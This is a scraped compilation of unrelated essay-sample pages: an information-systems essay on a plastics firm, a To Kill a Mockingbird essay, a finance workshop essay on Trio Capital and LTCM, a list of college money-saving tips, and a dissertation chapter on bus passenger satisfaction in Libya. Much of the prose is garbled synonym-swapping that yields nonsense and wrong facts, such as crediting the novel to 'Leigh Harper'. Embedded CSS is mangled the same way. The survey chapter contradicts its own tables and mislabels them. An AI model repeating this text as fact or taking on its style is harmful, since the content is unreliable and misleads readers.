System Information System Planning & Management Essay

Framework Information System Planning and Management - Essay Example The system segment involves various instruments through which the organization will utilize to make the data for progress. The report discoveries will give the real issues to investigation. There will be conversation of the issues and end basing on the method of reasoning. At long last, the proposals will be recommended to take into consideration the real determinations of the report specifications and measures for upgrades. Presentation GLM is an organization that manages the creation of a huge scope of little items produced using plastics and their customization. The business has figured out how to employ skilled work force who have thus benefited reasonable thoughts that have seen the business explore difficulties and show great execution. The Greens Lime Moldings (GLM is a business that started as a solitary substance, however has encountered huge monetary upheaval through better assistance contributions to the customers. The business bargains in the creation of plastic items thr ough the inclusion of a fitting innovation. The frameworks fuse people, innovation and information. The data frameworks are basic in the in arrangement of alternatives for dynamic. The business targets full fulfillment of the laborers through arrangement of best administrations on schedule. The goals of the report a the business; I. To offer fantastic types of assistance to the clients ii. To lead in development of items iii. To work in the worldwide degree iv. To use best advancements in its activities The Mission Statement To give the best creation and data framework administrations in the globe. The vision proclamation To give the best items a pledge to skill and groundbreaking administrations which are basic entire the world through the utilization of fitting innovation. Despite the fact that the organization has planned and figured the techniques, the organization requires away from on the effects of deviations from its specifications. The organization can't accomplish its targ ets without exacting follow up of the set approaches. In any case, there are different components that must be viewed to as being potential and without their contemplations there can't be noteworthy enhancements, rather, there can be decrease in the business execution. Thinking about the job of IS/IT in the undertaking The data innovation and the data frameworks fit in all divisions of the organization. The data frameworks help in the improvement of the executives. For example, data the board frameworks aid the dynamic procedure of the business after a basic assessment of the predominant circumstance. The exchange preparing frameworks help the company’s charging frameworks in acquiring and dispensing installment to various people or organizations. The arrangement emotionally supportive networks include in he trade of direct data and from the organization and into the business. The data innovation gives productivity to individual and improves the precision of the activities in the business. A depiction of your decision of the 3 most significant regions of innovation for GLM’s business and the advantages and openings gave by every one of the advancements according to GLM’s data frameworks methodology and adjusted business procedure Mobile Technologies Mobile advances alludes to variation kinds of cell correspondence know - how. The versatile innovation has changed quickly in the previous hardly any years. The GPS association gadget has additionally empower the association has

To Kill A Mockingbird The Maturing Of Jem Finch Essay Example For Students

To Kill A Mockingbird The Maturing Of Jem Finch Essay Society isn't as blameless to a kid as it might seem, by all accounts, to be. In fact,when one truly comprehends the general public where he lives he is no longer achild. This is a lot of a similar case as found in To Kill A Mockingbird, byLeigh Harper. In spite of the fact that Jem, being a kid toward the start of the novel, isimmature and uninformed of the general public in which he lives, he develops mentallyto where he sees the underhandedness in the public arena and additions an information ofdeath. Like most kids, toward the start of To Kill A Mockingbird Jem andScout are both youthful, play together, and have youth beasts or fearslike other youngsters. Principally, in To Kill A Mockingbird, Jem is youthful. Scout expresses their age when it probably all beginnings: When I was almostsix and Jem was just about ten (10). Here Jem is just nine years of age andtherefore still a decently little youngster; it is expected he is thereforeimmature. Jem likewise invests his energy playing with his multi year old sister. This additionally happens right off the bat in the novel: Early one morning as we werebeginning our days play in the back yard, Jem and I heard something nextdoor in Miss Rachel Haverfords collard fix. (11). As the novelprogresses, Jem no longer plays with his sister Scout, yet he is doing soat this point and he would appear to anybody as one youngster playing with hissister. In conclusion, Jem has youth fears like most any youngster does. Allchildren have their feelings of trepidation or beasts. In Jems case it I rthur Radley,commonly known as Boo: Lets attempt and make him come out Jem said on the off chance that he needed to get himself slaughtered, all he needed to do was go upand thump on the front entryway Its fair I cannot think about an approach to make him come out without himgettin us. At the point when he said that I realized he was apprehensive. (17-18) Often, during his first summer with Dill, Jem discusses Boo and hishouse much like a youngster talks about a spooky house. Essentially it is assumedthat Jem is a youngster because of three primary concerns that run over; Jem isyoung, plays with his younger sibling, and has youth beasts. However,as the novel advances so does Jem to where he develops mentallyenough to see the malice in the general public around him. Jems attention to thesociety in which he lives would first be able to be noted when his dad acknowledges thecase of a dark man and others start to discuss him rather inconsiderately: Have they been grinding away? I (Scout) inquired. Kind of. She wont leave him be about Tom Robinson. She nearly said Atticus was disfavoring the family. Scout Im frightened. (149) Here Jem picks up his first taste of dread from his general public in which hisown auntie was getting cross at his dad for safeguarding a dark man. WhenMr. Robinson is articulated blameworthy by a white jury things just warmth up forJem: It was Jems go to cry. His face was streaked with furious tears aswe cleared our path through the merry group. (214). Jem becomes so furious andfrustrated with the equity framework and society as a rule that he becomesoverwhelmed as of now and cries sharply. Now Jem isno longer a youngster and when he takes his disappointments to his dad it onlybecomes more clear: It aint right, Atticus, said Jem. No child, its not right. (215) The way that Jem gets mindful of the general public around him in thesethree occurrences bolster the topic that Jem is not, at this point a kid yet hasmatured intellectually to where he sees the underhandedness in the general public aroundhim. .udeeb97a38eec3422fa93973a2b090498 , .udeeb97a38eec3422fa93973a2b090498 .postImageUrl , .udeeb97a38eec3422fa93973a2b090498 .focused content zone { min-stature: 80px; position: relative; } .udeeb97a38eec3422fa93973a2b090498 , .udeeb97a38eec3422fa93973a2b090498:hover , .udeeb97a38eec3422fa93973a2b090498:visited , .udeeb97a38eec3422fa93973a2b090498:active { border:0!important; } .udeeb97a38eec3422fa93973a2b090498 .clearfix:after { content: ; show: table; clear: both; } .udeeb97a38eec3422fa93973a2b090498 { show: square; change: foundation shading 250ms; webkit-progress: foundation shading 250ms; width: 100%; murkiness: 1; progress: darkness 250ms; webkit-progress: obscurity 250ms; foundation shading: #95A5A6; } .udeeb97a38eec3422fa93973a2b090498:active , .udeeb97a38eec3422fa93973a2b090498:hover { haziness: 1; progress: mistiness 250ms; webkit-change: haziness 250ms; foundation shading: #2C3E50; } .udeeb97a38eec3422fa93973a2b090498 .focused content territory { width: 100%; position: relat ive; } .udeeb97a38eec3422fa93973a2b090498 .ctaText { fringe base: 0 strong #fff; shading: #2980B9; text dimension: 16px; textual style weight: intense; edge: 0; cushioning: 0; content enhancement: underline; } .udeeb97a38eec3422fa93973a2b090498 .postTitle { shading: #FFFFFF; text dimension: 16px; textual style weight: 600; edge: 0; cushioning: 0; width: 100%; } .udeeb97a38eec3422fa93973a2b090498 .ctaButton { foundation shading: #7F8C8D!important; shading: #2980B9; outskirt: none; fringe span: 3px; box-shadow: none; text dimension: 14px; textual style weight: striking; line-tallness: 26px; moz-outskirt range: 3px; content adjust: focus; content design: none; content shadow: none; width: 80px; min-stature: 80px; foundation: url(https://artscolumbia.org/wp-content/modules/intelly-related-posts/resources/pictures/straightforward arrow.png)no-rehash; position: supreme; right: 0; top: 0; } .udeeb97a38eec3422fa93973a2b090498:hover .ctaButton { foundation shading: #34495E!important; } .udee b97a38eec3422fa93973a2b090498 .focused content { show: table; stature: 80px; cushioning left: 18px; top: 0; } .udeeb97a38eec3422fa93973a2b090498-content { show: table-cell; edge: 0; cushioning: 0; cushioning right: 108px; position: relative; vertical-adjust: center; width: 100%; } .udeeb97a38eec3422fa93973a2b090498:after { content: ; show: square; clear: both; } READ: Essay about Othello, By William Shakespeare Essay Just as Jem in his development increases a feeling of the general public around him, he additionally acquires an information on death. The essential demise was that of Mrs. Dubose, the old woman down the street:Did she bite the dust free? asked Jem. As the mountain air, said AtticusI needed you to perceive what genuine mental fortitude is Its when you know youre licked before you start yet you start in any case and you see it through regardless. (116) Here Jem and his dad Atticus have an enthusiastic talk over the deathof Mrs. Dubose and demise itself. She passed on prepared, calmly, and free ofmorphine, of which she was a someone who is addicted. Jem likewise learns a superb exercise ontrue boldness now in which he is told how evident fearlessness is knowingyoure licked before you start yet you endure in any case. This was the casefor Mrs. Dubose. The second passing which happens that Jem is aware of inthe novel is that of Tom Robinson: Toms dead.' (238). Toms demise has adifferent impact on Jem. As opposed to being a serene passing, Toms was aviolent, inappropriate, and unjustifiable demise. By and by Jem sees the dull halfof the general public which murdered Tom, a blameless man. Nonetheless, the mostsignificant brush with death happens to Jem himself when he is assaulted bythe wrathful Bob Ewell: We were almost to the street when I felt Jems hand leave me, felt him twitch back-wards to the ground. Additional fighting, and there came a dull crunching sound Jem shouted. (265) Here Jem increases an attention to his own life, his own mortality. Thesethree passings each had a their own individual impact on Jem, however Jemdefinitely increased a cultivated information on death. Accordingly, Jem is a childat the start of To Kill A Mockingbird yet matures, increasing a senseof the general public encompassing him and an information, or a develop mindfulness, ofdeath. Jem doesnt gain these psychological developements effectively however through muchstruggling, and this is actually what To Kill A Mockingbird is about; astruggle with society and learning by putting ones self in anothersshoes.

Ltcm (Long Term Capital Management) Free Essays

Workshop 2, week 3 Syndicate 1. The breakdown of Trio Capital showed the manner by which speculative stock investments and assets of mutual funds can be excessively mind boggling, hazy and ailing in straightforwardness, especially for retail financial specialists. a. We will compose a custom paper test on Ltcm (Long Term Capital Management) or on the other hand any comparable point just for you Request Now Quickly sum up what has occurred on account of Trio Capital a year ago in 2012 in Australia The breakdown of Trio Capital is the greatest superannuation misrepresentation in Australian history. Trio Capital was the trustee of a quantities of super finances administered by the APRA (Ryan, S. , 2011). It likewise had various overseen speculation plans, similar to ARP Growth Fund and Astarra Strategic Fund. An American legal counselor, Jack Flader, controlled the multifaceted investments in the Caribbean for sake of the organization with the $180 million from Trio Capital’s plans (Ryan, S. , 2011). At the point when those assets fallen, Australian speculators reserves vanished. The organization had poor corporate administration, and at any rate one of the executives had deceitful direct and has gone to prison (Ryan, S. , 2011). Outlets have record $300 million resources, however more than $ 200million are as yet absent (Ryan, S. 2011). In excess of 6000 financial specialists lost cash and some of them lost their whole retirement investment funds (Ryan, S. , 2011). What's more, 5000 of those financial specialists share $55 million citizen subsidized toll to repay the misfortune (Ryan, S. , 2011). Anyway in excess of 600 financial specialists won't get any remuneration on the grounds that the supported subsidizes they contributed were self-guided and not represented by the APRA (Ryan, S. , 2011). 2. Examine the guidelines that were set up concerning mutual funds in Australia and what the progressions that are set up are. Right off the bat, Lacking of general meaning of â€Å"hedge funds† has been an issue. Mutual funds have five one of a kind attributes characterized by the guidelines. As indicated by Class Order [CO 12/749] Relief from the shorter PDS system, a mindful substance utilizing articulation of â€Å"hedge funds† must show at least two attributes from the accompanying rundown: (I) Use of venture methodologies planned to create comes back with low connection to value and security lists as well as intricate venture structures (ASIC, 2012) (ii) Use of everage to build returns (ASIC, 2012); (iii) Use of subordinates for theoretical purposes (ASIC, 2012); (iv) Use of short selling (ASIC, 2012); or (v) Performance charges (rather than expenses dependent on assets under administration (FUM)) (ASIC, 2012). Be that as it may, after the scale breakdown of Trio Capital and different assets, flexible investments troughs may attempt to maintain a strategic distance from named as speculati ve stock investments because of poor notoriety. Besides, improving divulgence advance increasingly proficient capital market, help exposure applicable data, diminish the chance of excluding significant data, focused on the data need of the speculators, and be adaptable to adjust investors’ data needs changes (ASIC, 2012). Under Corporations Act. 3 Pt 7. 9 requires the Product Disclosure Statement should be set up to the proposal of interests, and progressing revelation commitment and necessities on publicizing and exposure for the proposal of interests(ASIC, 2012) . In detail, PDS should: (a) Be worded and introduced in an unmistakable, compact and compelling way (s1013C(3)) (ASIC, 2012); (b) Make explicit divulgences (s1013D), including in addition to other things about the critical dangers related with holding the item (ASIC, 2012); and (c) Include all other data that may sensibly be relied upon to impact the choice of a sensible individual (when contributing as a retail customer) about whether to put resources into the item (s1013E) (ASIC, 2012). Also, Ch 5C has further prerequisites on mutual funds, including the enrollment should be mark as an oversaw speculation conspire worked by a capable substance which holds an Australian money related administrations (AFS) permit, and to have a plan constitution and consistence plan (ASIC, 2012). 3. Portray the jobs of venture banks and dealer banks, with an accentuation on the idea of their off - monetary record business, specifically mergers and acquisitions. The union and securing administrations pay of the speculation banks and shipper banks are huge. In 2003 the aggregate sum of warning expenses that charged surpassed $596 million in USA, proposing that speculation banks earned a lot of salary for giving MA exhortation (Walter, Yawson Yeung, 2007). The warning administrations offered by venture banks typically identified with different parts of the procurement and offer of organization and resources, for example, business valuation, exchange, evaluating and organizing of exchanges, and system and execution (Water, et al. , 2007). One of the most significant examinations is called weakening investigation, which requires refreshed abilities about M A bookkeeping. Speculation banks additionally give â€Å"fairness opinions† which generally included records bearing witness to the decency of an exchange (Water, et al. , 2007). Now and again, firms intrigued by M An exhortation will contact a venture bank legitimately to process an exchange as a primary concern. Be that as it may, in the larger part cases, venture banks will try out plans to potential customers. After a general presentation of speculation banks benefits in merger and obtaining, the particular jobs will be given beneath: First, venture bank assumes a warning job for the two purchasers and dealers. At the point when speculation bank plays the job of a counselor to potential venders, this is named as a sell-side commitment (Water, et al. , 2007). On another hand, when speculation banks go about as a guide to the acquirers, this is known as a purchase side task (Water, et al. , 2007). Different administrations incorporate prompting customers on unfriendly takeovers, joint endeavors, h, buyouts and takeover resistance. Besides, venture bank additionally assumes a due steadiness job. Due ingenuity implies gathering, examining and deciphering the objective company’s money related data, contrasted and its verifiable and anticipated monetary outcomes, surveying potential cooperative energies and assessing tasks to distinguish openings and difficulties (Water, et al. , 2007). Due industriousness is utilized to research the hazard and give customer a genuine budgetary image of the procuring organization. Away from advantages and difficulties of the exchange. Wobbly sheet business implies the business included an advantage or obligation or financing movement isn't record on the company’s asset report (Wikipedia, 2013). For instance, money related foundations have systematic resource the executives or brokage administration to their customers. The advantages (frequently protections) ordinarily have a place with the customers legitimately or in trust, the organization has no immediate case to these benefits or has no immediate commitment to these liabilities (Wikipedia, 2013). The organization for the most part has liable for some guardian obligations to the customer. Budgetary foundations may report off â€balance sheet things in their bookkeeping articulations or may likewise allude to â€Å"assets under management† on cockeyed sheet things. Under current bookkeeping rules, the bookkeeping qualification among on and shaky sheet things hush up point by point and rely upon the level of the board (Wikipedia, 2013). For this situation, speculation banks help purchasers and merchants to process the exchange in union and procurement. The benefits and liabilities associated with union and securing is straightforwardly constrained by the purchasers and venders as opposed to the speculation banks. Henceforth these benefits or liabilities ought to be recorded on the cockeyed sheet of the venture banks. Coop 2 1. Portray the key components, procedures that prompted and the exercises gained from the end of Long Term capital Management. Give a concise synopsis of what occurred and what were the procedures utilized by the reserve. ( ,reference perusing , perusing ) Summary of what occurred: Long-Term Capital Management was a support stock investments the executives organization that includes total return exchanging procedures go with high influence nature. The firm’s key fence investments which called Long-Term Capital Portfolio at first succussed with after charges yearly returns over 40% in its first years. Anyway because of the impacts from Russia budgetary emergency and its high influence, in 1998 it lost $4. 6 billion in under four months. There were a wide scope of organizations and people influenced by LTCM’s misfortune. So as to forestall chain response, Federal Reserve’s money related intercession and different organizations taken over required and the organization shut down in mid 2000. The systems: At first, the organization utilize complex numerical model to break down fined pay attach to exhibit self-assertive exchange (for the most part get American, Japan and European government security) Government security is a term contract, which implies later on, at a fixed time, they will get a fixed sum cash. At the point when the bond right off the bat gave, the distinction of cost has been limited. Consequently, as per financial hypothesis, any value heave will be satisfied by self-assertive. The value distinction between 30 years government bond and multiple times multi month tie ought to be little. Furthermore, them two will be developed about 30years later. Anyway these two bonds will have marginally contrast because of liquidity distinction. So through a genuine of budgetary strategies, purchase multi year multi month security and sell 30 years security before the 30 years security just gave, the benefit gets potential (Edwards, F. R. , 1999). Be that as it may, utilizing the value distinction and discretionary was not economical. Consequently the LTCM must utilize high influence to produce more returns. In 1998, the organization just had 47. 2 billion by them self, however financed assets around 1245 to 1290 billion, which implies the influence proportion surpass 25 (Edwards, F. R. , 1999). What's more, most of the assets are put resources into subordinates which is very unsafe (Edwards, 1999). Exercises: Limited influence ought to be required for compa

75 Easy Ways to Save Money in College

We all know that college can be expensive. Thats what makes locating appropriate scholarships so important (if you havent started applying for scholarships yet or want some simple tips on how to find the best scholarships to apply to, join our free webinar to get the ball rolling). But, even if you do well in landing funds that dont require a debt repayment plan upon graduation, that doesnt always mean all of your expenses are met (or that you want to spend all that money if you dont need to!) Its still important to save money in college.Once the FAFSA has been completed, grants have been awarded, and have the scholarship applications are on their way, it is important to ensure your college student is also making smart money choices to keep their expenses down. So, if you arent sure how to broach the subject of living frugally with your child or you want to have a series of tips to pass down, weve got your back.Here are 75 easy ways you can share with your child so they can learn how to save money in college.Note: There are some affiliate links below, but these are all products I highly recommend. I wont put anything on this page that I havent verified and/or personally used.Before CollegeIf your student is still in high school, here are some money saving options to take advantage of NOW!Have them sign up for Advanced Placement courses to prepare for AP examsCheck into CLEP exams for college creditDual enroll in college courses while in high schoolTuition, Textbooks, and Reference ResourcesAttend community college for the first two years for lower tuition optionsLook into international colleges and universities that may be lower costRent textbooks instead of buyingWhen textbooks must be purchased, buy used instead of newLook for prior editions of textbooks (many times, the information is the same, just rearranged)Use the college libraryUse the public libraryRoom and BoardLive at home instead of on campusSelect the cheapest (safe) apartment or dorm room option a vailableGet a roommateMonitor utility use (turn lights off when leaving a room, dont leave the water running when brushing teeth, etc.)Consider on-campus dining plansLimit eating out- Try $5 Meal Plan to save money when cooking at homeBuy non-perishable groceries in bulk for cost savingsMeal prep in bulkChoose drip coffee over specialty drinksUse rebate apps like Ibottaor Checkout51 to get cash back on things you normally buy (like bread, eggs, you name it.)Sign up for the Walmart Savings Catcherto scan your receipts and receive cash back.Clip CouponsTransportationGo carless and use public transit insteadLook into student transit discountsWalk or bike insteadCarpool!Consider taking the bus or train instead of flying home for breaks (ask about student discounts too)Skip traditional spring break trips for a staycation or volunteer experience that includes transportations, room, and board . Still need to find housing? Try an affordable alternative like AirBnB where people rent out thei r homes at a major discount compared to hotels! I use this all the time both in the U.S. and internationally!Entertainment and CommunicationHave a movie night in instead of going to theatersChoose Netflix or Hulu over cableAttend free social events through the collegeGet a prepaid cell phone planStay within your cell phone plan limits to avoid overage feesUse college Wi-Fi to send emails to friends and family instead of your data planUse Amazon Prime for Students (entertainment AND free shipping!)Avoid buying alcoholic beverages when out (restaurant markups are HUGE)Ask every restaurant, movie theater, mini golf course, etc. if they offer student discountsSee if your local library or parks department offers free entertainment (think music or movies in the park, book clubs, etc.)Gifts and HolidaysMake homemade giftsDo a Secret Santa instead of shopping for everyoneBake a cake instead of buying onePotluck instead of going outAsk for practical items as birthday and Christmas gifts to save moneyClothingShop gently used clothing storesHang clothes to dry instead of using a dryerMake your own laundry detergent and fabric softenerShop clearanceBuy classic, quality clothing instead of following trendsDo a clothing trade with friends instead of shoppingBanking and FinanceFind free checking account optionsTake the free checks offered with new accountsTrack spending to avoid overdraft feesAvoid credit cards with annual fees or other chargesPay credit card balances in fullPay bills on time to avoid late fees and penalty interest ratesStart a change jarElectronics and Other ShoppingLook for student discounts when buying a computerCheck for discounts on software tooBuy a computer that meets your needs and not one with unnecessary bells and whistlesStick with a basic printer over flashy models, especially if you are only printing documentsGet antivirus software to protect your computer and smartphoneDont upgrade your cell phone if your current one still works, even if you a re eligible for upgradeFor states with sales tax, check for any tax-free shopping weeksComparison shop whenever possible, especially through online retailers with free shipping and local storesLive near a residential area? Check out yard salesGo to swap meetsTry Freecycle and the free section of CraigslistHealth, Fitness, and GroomingSee if there is a local free clinic available for basic medical needsUse on-campus exercise facilities, if availableChoose low-cost workout options, like running in the local area, over joining a pricey gymIf you have to join a gym, ask about student discountsChoose hairstyles that grow out well to avoid excessive upkeepCheck into local beauty schools for discounted haircuts and other services or try Groupon for discounted servicesSkip nail salons for at-home manicures (invite friends over, and it can be entertainment too!)Look into low-cost shave clubs for cheaper razorsAs you can see, there are a lot of ways your college student can save money in coll ege while they obtain their degree. In fact, there are likely many more that didnt end up on the list!Do you have a money saving tip that can help a struggling student make ends meet? Please add it in the comments below!Suggested Articles:5 Steps to Negotiate College Tuition and Save Thousands of DollarsThe 3 Scholarship Seasons: When Your Child Should Start Applying for Scholarships5 Things You Need to Know About the Scholarship ProcessThe Complete Reference Guide to Paying for College: FAFSA, Financial Aid, Scholarships, Student Loans and morePin105RedditShare13 Comments

Research findings analysis and interpretation - Free Essay Example

Sample details Pages: 6 Words: 1930 Downloads: 2 Date added: 2017/06/26 Category Logistics Essay Type Dissertation Level High school Did you like this example? CHAPTER FOUR RESEARCH FINDINGS: ANALYSIS AND INTERPRETATION 4.1 INTRODUCTION This chapter attempts to analyse questionnaire findings regarding customer satisfaction with the two land transport companies involved in the present study: a publicly-owned company (referred to as Company A) and a privately-owned company (referred to as Company B). Satisfaction rates of customers of both companies are also compared against each other in Chapter Five to illustrate which company provides more satisfactory services to its customers. Seventy questionnaires were distributed to the passengers of Company A and sixty to the passengers of Company B. Don’t waste time! Our writers will create an original "Research findings analysis and interpretation" essay for you Create order Fifty questionnaires were completed by passengers of each company and returned to the researcher. This gives response rates of 71.4% and 83.3%, respectively. These return rates are acceptable response rates. Passengers who declined to participates either they claimed that they were not interested in the survey, whereas some other claimed they did not have the time to complete the questionnaire. 4.2 FACTORS MOTIVATING CUSTOMERS TO DEAL WITH THE COMPANY A Responses to the factors that have motivated the customers of this company are presented in Table 4.1 and illustrated in Figures 4.1 to 4.3. Factors motivating customers are divided into three groups: Reliability and Customer Service (RCS) factors (eight factors), Convenience and Accessibility (CA) factors (nine factors) and On-Board Services (OBS) (five factors). Responses to the eighteen statements are illustrated in Table 4.1. To facilitate data analysis, responses to the Strongly Agree and Agree groups were combined and presented in Figures 4.1 to 4.3 as SA/A. Similarly, for the Disagree and Strongly Disagree groups were combined as DA/SDA. The No View responses (NV) were left as it is. Table 4.1 indicates that between 4% and 20.0% of responding passengers declined to express their views. This indicates their indifference to the questionnaire items. Table 4.1. Reasons for choosing to travel with Company A Variables SA A NV DA SDA CA Convenient reservation and ticketing 76.0 16.0 8.0 0.0 0.0 CA Prompt and accurate reservation and ticketing 44.0 40.0 16.0 0.0 0.0 CA Good checking-in service 44.0 44.0 12.0 0.0 0.0 CA Frequent journey programme 40.0 40.0 20.0 0.0 0.0 CA Convenient journey schedule 36.0 48.0 12.0 4.0 0.0 CA Seat allocation 28.0 56.0 16.0 0.0 0.0 RCS Courtesy of employees 28.0 56.0 16.0 0.0 0.0 RCS Employees willingness to help passengers 36.0 48.0 16.0 0.0 0.0 RCS Employees knowledge to answer passengers questions 40.0 48.0 8.0 4.0 0.0 RCS Passengers are given personal attention 44.0 40.0 8.0 4.0 4.0 RCS Neat appearance of employees 40.0 44.0 16.0 0.0 0.0 RCS Safety of Driving 44.0 44.0 8.0 0.0 4.0 RCS Sincere interest in solving problems 36.0 44.0 16.0 4.0 0.0 RCS On-time performance 36.0 48.0 16.0 0.0 0.0 OBS Seat comfort 40.0 40.0 12.0 8.0 0.0 OBS Meal service 48.0 32.0 8.0 12.0 0.0 OBS On-Board entertainment services 40.0 44.0 4.0 4.0 8.0 OBS Up-to-date coach and on-board facility 40.0 44.0 4.0 4.0 8.0 CA = Convenience and Accessibility RCS = Reliability and Customer Service OBS = On-Board Services 4.2.1 SATISFACTION WITH CONVENIENCE AND ACCESSIBILITY FACTORS Passengers (thereafter referred to as respondents) were asked to express their agreement or disagreement with the six items relating to convenience and accessibility factors: Convenient reservation and ticketing (Item No. 1), Prompt and accurate reservation and ticketing (Item No. 2), Good checking-in service ((Item No. 3), Frequent journey programme (Item No. 4), Convenient journey schedule (Item No. 5), and Seat allocation (Item No. 6) (see Table 4.1, Figure 4.1). Patterns of their responses are analysed below. It is noted in Table 4.1 and Figure 4.1 that 92.0% of the respondents were satisfied (strongly agreed/agreed, SA/A) with the reservation and ticketing procedures undertaken by the company (Item No. 1). Only a small minority of respondents showed their indifference to this item, whereas none of them disagreed with it. The majority of the respondents (88.0%) were satisfied (SA/A) with check in service (Item No. 3) (Table 4.1, Figure 4.1), and a minority (12.0%) did not ex press their views, but none of the respondents were dissatisfied with this service. In terms of prompt and accurate reservation and ticketing (Item No. 2), convenient journey schedule (Item No. 5), and seat allocation (Item No. 6) (Table 4.1, Figure 4.1), 84.0% of the respondents were satisfied with these three items, and only 4.0% of the respondents were dissatisfied with convenient journey schedule (Item No. 5). 4.2.2 SATISFACTION WITH RELIABILITY AND CUSTOMER SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with eight items concerning reliability and customer service factors. The majority of respondents (88% of the sample) indicated that they were satisfied with employees knowledge to answer passengers questions (Item No. 9), and with safety of driving (Item No. 12). Only 4.0% of the respondents were dissatisfied with these services and 8.0% of them indicated their indifference. With regard to courtesy of employees (Item No. 7), employees willingness to help passengers (Item No. 8), passengers are given personal attention (Item No. 10), Neat appearance of employees (Item No. 11) and on-time performance (Item No. 14), the majority of respondents were satisfied (SA/A) with these items. However, between 8.0% and 16.0% of the respondents expressed their indifference to these items, and only 4.0% to 8.0% of them were dissatisfied with some of these items, as indicated in Table 4.1 and Figure 4.2. With regar d to the item: sincere interest in solving problems (Item No. 13), 80.0% of the respondents were satisfied with it, and 16.0% of them expressed their indifference, whereas only 40.0% of them disagreed with it. 4.2.3 SATISFACTION WITH ON-BOARD SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with four items concerning on-board service factors. Table 4.2 and Figure 4.4 clearly show that 84.0% of the respondents were satisfied with on-board entertainment service (Item No. 17) and up-to-date coach and on-board facilities. However, 12.0% of them were dissatisfied and 4.0% expressed their indifference. Figure 4.3 also illustrates that 80.0% of the respondents were satisfied with the seat comfort (Item No. 15) and meal service (Item No. 16). However, 8.0% and 12.0% of the respondents were dissatisfied with Items No. 14 and 15, respectively, and 12.0% and 8.0% of them expressed their indifference with these two items, respectively. It can be noted that more respondents were dissatisfied with these four services than with the other items in other two dimensions. 4.3 FACTORS MOTIVATING CUSTOMERS TO DEAL WITH THE COMPANY B Responses to the factors that have motivated the customers of this company are presented in Table 4.21 and illustrated in Figures 4.4 to 4.4. Table 4.1 indicates that between 20% and 40.0% of the responding passengers declined to express their views. This indicates their indifference to the questionnaire items. 4.2.1 SATISFACTION WITH CONVENIENCE AND ACCESSIBILITY FACTORS Data presented in Table 4.2 and illustrated in Figure 4.4 show that 76.0% of the respondents were satisfied (strongly agreed/agreed, SA/A) with the reservation and ticketing procedures undertaken by the company (Item No. 1). However, the remaining 24.0% of the respondents expressed their indifference to this item, whereas none of them disagreed with it. Around two-thirds of the respondents (68.0%) were satisfied (SA/A) with prompt and accurate reservation and ticketing, whereas the remaining 32.0% of the respondents did not express their views, and none of the respondents were dissatisfied with this service (Table 4.2, Figure 4.4). With regard to the remaining four items (good checking-in service, Item No. 3; Frequent journey programme, Item No. 4; Convenient journey schedule, Item No. 5; seat allocation, Item No. 6), 60.0% of the respondents were satisfied with these services. The remaining 40.0% of the respondents either expressed their indifference to these items, or were dissatisfied with them (Table 4.2, Figure 4.4). Table 4.2. Reasons for choosing to travel with Company A Variables SA A NV DA SDA CA Convenient reservation and ticketing 36.0 40.0 24.0 0.0 0.0 CA Prompt and accurate reservation and ticketing 28.0 40.0 32.0 0.0 0.0 CA Good checking-in service 20.0 40.0 40.0 0.0 0.0 CA Frequent journey programme 16.0 44.0 32.0 8.0 0.0 CA Convenient journey schedule 20.0 40.0 32.0 4.0 4.0 CA Seat allocation 24.0 36.0 28.0 4.0 8.0 RCS Courtesy of employees 16.0 46.0 30.0 4.0 4.0 RCS Employees willingness to help passengers 20.0 42.0 26.0 8.0 4.0 RCS Employees knowledge to answer passengers questions 16.0 42.0 32.0 4.0 6.0 RCS Passengers are given personal attention 18.0 34.0 38.0 6.0 4.0 RCS Neat appearance of employees 20.0 44.0 20.0 8.0 8.0 RCS Safety of Driving 10.0 42.0 24.0 12.0 12.0 RCS Sincere interest in solving problems 12.0 40.0 32.0 12.0 4.0 RCS On-time performance 16.0 30.0 36.0 12.0 8.0 OBS Seat comfort 20.0 28.0 32.0 16.0 4.0 OBS Meal service 16.0 12.0 40.0 20.0 12.0 OBS On-Board entertainment services 12.0 24.0 44.0 12.0 8.0 OBS Up-to-date coach and on-board facility 16.0 44.0 24.0 4.0 12.0 CA = Convenience and Accessibility RCS = Reliability and Customer Service OBS = On-Board Services 4.3.2 SATISFACTION WITH RELIABILITY AND CUSTOMER SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with eight items concerning reliability and customer service factors. About two-thirds of the respondents (64.0% of the sample) indicated that they were satisfied with employees neat appearance (Item No. 11) (Table 4.2, Figure 4.5). One-fifth (20.0%) and 16.0% of the respondents expressed their indifference or dissatisfaction with this item. Most respondents (62.0% of the sample) were satisfied with the courtesy of the employees and employees willingness to help passengers. However, many of them either expressed their indifference, or were dissatisfied with these services. Less than three-fifths (58.0%) of the were satisfied with employees knowledge to answer passengers questions (Item No. 9), and 32.0% of them expressed their indifference and 10.0% of them were dissatisfied. Around half of the respondents (52.0% of the sample) were satisfied with passengers are given personal attention (item no. 10), safety of driving (item no. 13), and sincere interest in solving problems (item no. 14). The remaining half either expressed their indifference or, to a lesser extent, was dissatisfied with these items. However, only 46.0% of the respondents were satisfied with on time performance (Item No. 14), and the remaining 54.0% of them either expressed their indifference or were dissatisfied with this item. 4.3.3 SATISFACTION WITH ON-BOARD SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with the four items relating to onboard service factors (Item No. 18) (Table 4.2, Figure 4.6). Figure 4.6 indicated that about two-thirds of the respondents (68.0% of the respondents) were satisfied with up-to-date coaches and on-board facilities, whereas the remaining respondents either did not express their views (16.0% of the sample) or were dissatisfied with this item. Data presented in Table 4.2 and Figure 4.6 clearly indicate that less than half of the respondents were satisfied with seat comfort (Item No. 15) (48.0%), meal service (Item No. 16) (38.0%), and on-board entertainment services (item No. 17) (44.0%). The remaining respondents (62.0% to 52.0% of the sample) either did not express their view or were dissatisfied with these items. On the whole, it can be said that more respondents either showed their indifference to these three items (30.0% to 36.0% of the sample) or were dissatisfied with them (20.0% to 32.0% of the sample). 4.3 DEMOGRAPHIC CHARACTERISTICS OF RESPONDENTS The demographic characteristics of the respondents from both companies, Company A, and Company B are analysed and compared in this section. Figure 4.7 clearly demonstrates that the majority of respondents of both companies (88.0%) were young between 21 and 50 year old. This is not surprising given that these ages represent people who are more active and more mobile than in other age groups. Forty-six respondents (92.0% of the sample) of Company A were Libyan nationals and the remaining four (8.0% of the sample) were Arab nationals. As for Company B, all fifty passengers were Libyan nationals. In terms of gender, thirty (60.0% of the sample) of Company A respondents were males, and the remaining twenty (40.0% of the sample) were females. As for Company B, twenty-six respondents (52.0% of the sample) were males and the remaining twenty-four (48.0% of the 